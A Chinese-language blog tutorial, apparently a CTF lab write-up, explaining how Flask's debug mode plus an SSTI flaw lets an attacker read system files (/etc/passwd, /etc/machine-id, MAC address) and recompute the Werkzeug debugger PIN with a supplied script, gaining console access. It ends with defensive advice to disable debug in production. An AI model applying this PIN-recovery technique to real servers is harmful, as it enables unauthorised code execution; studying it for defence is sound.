Python-Flask框架(六),如果在生產環境裏Debug和SSTI偷偷幽會會發生什麼?

前言

實驗環境
Ubuntu16.04
Win10
Python
項目Demo
https://github.com/99kies/pinflask
如果flask框架中有ssti的點,那我們就可以進行ssti注入,開啓debug模式獲取pin得到後臺,session僞造啊等等,這裏想介紹的是當這個debug和ssti出現的時候會出現什麼樣不一樣的火花。

Flask中Debug的功能

如何開啓Debug模式

  1. 在代碼文件中添加debug=True
#####
etc.
#####
if __name__ == "__main__":
	app.run(debug=True)

首先在配置文件中寫入Debug=True
然後在程序中引入配置文件

set FLASK_DEBUG=1

flask run

Debug的功能

代碼demo

from flask import Flask

app = Flask(__name__)

@app.route("/")
def index():
	a = 1/0 # 這裏有一個明顯的錯誤!	
	return a
if __name__ == '__main__':
    app.run(host="0.0.0.0", port=80, debug=True)

在本地運行這串demo
在這裏插入圖片描述
當訪問127.0.0.1的時候

在這裏插入圖片描述
通過Pin碼進入控制檯
在這裏插入圖片描述
在這裏插入圖片描述

tips:另外有一個小插曲,如果你開啓多線程,那麼debug會佔用一個線程,這會導致服務端需要保存文件的時候就會報錯(權限不夠),關閉debug模式就能成功寫入文件了。

Flask是如何生成Pin的

Pin是一個固定的值,我覺得沒有必要關注或者花費精力和資源在加密pin的算法上,因爲這個dubug是開發環境裏的工具,在生產環境裏是切不可使用debug=True這個功能的,我們只要做到上線服務的時候關閉debug模式即可。
加密pin的函數位置

/usr/local/lib/python3.5/dist-packages/werkzeug/debug/__init__.py
# 此處以ubuntu16.04-python3.5環境爲例,具體情況還需以你的python包路徑的地址爲準

就在包路徑下的debug文件中
查看源碼

def get_machine_id():
    global _machine_id
    rv = _machine_id
    if rv is not None:
        return rv

    def _generate():
        # docker containers share the same machine id, get the
        # container id instead
        try:
            with open("/proc/self/cgroup") as f:
                value = f.readline()
        except IOError:
            pass
        else:
            value = value.strip().partition("/docker/")[2]

            if value:
                return value

        # Potential sources of secret information on linux.  The machine-id
        # is stable across boots, the boot id is not
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    return f.readline().strip()
            except IOError:
                continue

        # On OS X we can use the computer's serial number assuming that
        # ioreg exists and can spit out that information.
        try:
            # Also catch import errors: subprocess may not be available, e.g.
            # Google App Engine
            # See https://github.com/pallets/werkzeug/issues/925
            from subprocess import Popen, PIPE

            dump = Popen(
                ["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
            ).communicate()[0]
            match = re.search(b'"serial-number" = <([^>]+)', dump)
            if match is not None:
                return match.group(1)
        except (OSError, ImportError):
            pass

        # On Windows we can use winreg to get the machine guid
        wr = None
        try:
            import winreg as wr
        except ImportError:
            try:
                import _winreg as wr
            except ImportError:
                pass
        if wr is not None:
            try:
                with wr.OpenKey(
                    wr.HKEY_LOCAL_MACHINE,
                    "SOFTWARE\\Microsoft\\Cryptography",
                    0,
                    wr.KEY_READ | wr.KEY_WOW64_64KEY,
                ) as rk:
                    machineGuid, wrType = wr.QueryValueEx(rk, "MachineGuid")
                    if wrType == wr.REG_SZ:
                        return machineGuid.encode("utf-8")
                    else:
                        return machineGuid
            except WindowsError:
                pass

    _machine_id = rv = _generate()
    return rv

def get_pin_and_cookie_name(app):
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdigit():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, "__module__", app.__class__.__module__)

    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", app.__class__.__name__),
        getattr(mod, "__file__", None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, text_type):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = "__wzd" + h.hexdigest()[:20]

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = ("%09d" % int(h.hexdigest(), 16))[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name

get_machine_id() #用來計算machine-id
get_pin_and_cookie_name(app) #計算出Pin的代碼

通過get_pin_and_cookie_name(app)我們即可知道,只要給函數提供數據即可,而且這些數據我們也可以手動填寫

需要的值
username -> (whoami)
modname
getattr(app, “name”, app.class.name)
getattr(mod, “file”, None)
machine-id
mac地址

tips:
需要注意的是 machine-id的值。get_machine_id()函數是用來計算,加密過程中所需的machine-id值。那主要是啥情況呢。

  1. 如果是Linux裸機運行flask服務,那machine-id就是/etc/machine-id的值
  2. 如果是docker啓動服務,machine-id可能是/proc/self/cgroup,也可能是/proc/sys/kernel/random/boot_id+/proc/self/cgroup
    2.1 docker容器共享相同的機器id,而獲取容器id,machine-id爲
    /porc/self/cgroup

容器實現隔離機制介紹
隔離機制共有兩種可用

  1. Linux命名空間,它使每個進程只看到它自己的系統視圖(文件,進程,網絡接口,主機名等);
  2. Linux控制組(cgroups),它限制了進程能使用的資源量(CPU,內存,網絡帶寬等)

Python-Flask框架,如果在生產環境裏Debug和SSTI偷偷幽會會發生什麼?

復現漏洞項目,並搭建測試平臺

實驗測試
項目demo https://github.com/99kies/pinflask

git clone https://github.com/99kies/pinflask
cd pinflask
docker build -t pinflask .
docker run -id -p 5000:5000 --name pinflask pinflask

ps:至此完成復現CTF漏洞題目,通過5000端口即可訪問服務

在這裏插入圖片描述

Debug + SSTI == “得到後臺”

通過get_pin_and_cookie_name(app)計算出Pin即可
獲取所需要的信息即可

需要的值 相關文件地址
username -> (whoami) /etc/passwd
modname
getattr(app, “name”, app.class.name)
getattr(mod, “file”, None)
machine-id /etc/machine-id,/proc/sys/kernel/random/boot_id,/proc/self/cgroup
mac地址 /sys/class/net/eth0/address

只要通過ssti獲取到這些信息就可以計算出pin碼
完善本地計算pin碼Code

import hashlib
from itertools import chain

def get_pin():
    pin = ''
    rv = None
    num = None

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    # probably_public_bits = [
    #     username,
    #     modname,
    #     getattr(app, "__name__", app.__class__.__name__),
    #     getattr(mod, "__file__", None),
    # ]
    probably_public_bits = [
        'root', # 運行時的用戶名 whoami
        'flask.app',
        'Flask',
        '/usr/local/lib/python3.5/site-packages/flask/app.py' # 運行當前python的flask包地址
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    # private_bits = [str(uuid.getnode()), get_machine_id()]
    private_bits = [
        'xxxxxxxxxxx', # /sys/class/net/eth0/address, str(uuid.getnode())
        'xxxxxxxxxxxxxxxxxxxxxxx' # get_machine_id()
    ]

    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = ("%09d" % int(h.hexdigest(), 16))[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv

print(get_pin())

通過SSTI獲得到具體內容,再通過get_pin()

有危險就要有防範

請在生產環境下和Debug說再見,當然SSTI更要說再見
關於Flask SSTI原理和防範請參考
https://blog.csdn.net/qq_19381989/article/details/103175728

關於作者

聯繫方式 MTI5MDAxNzU1NkBxcS5jb20=

你也可以通過 github | csdn | @新浪微博 關注我的動態

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章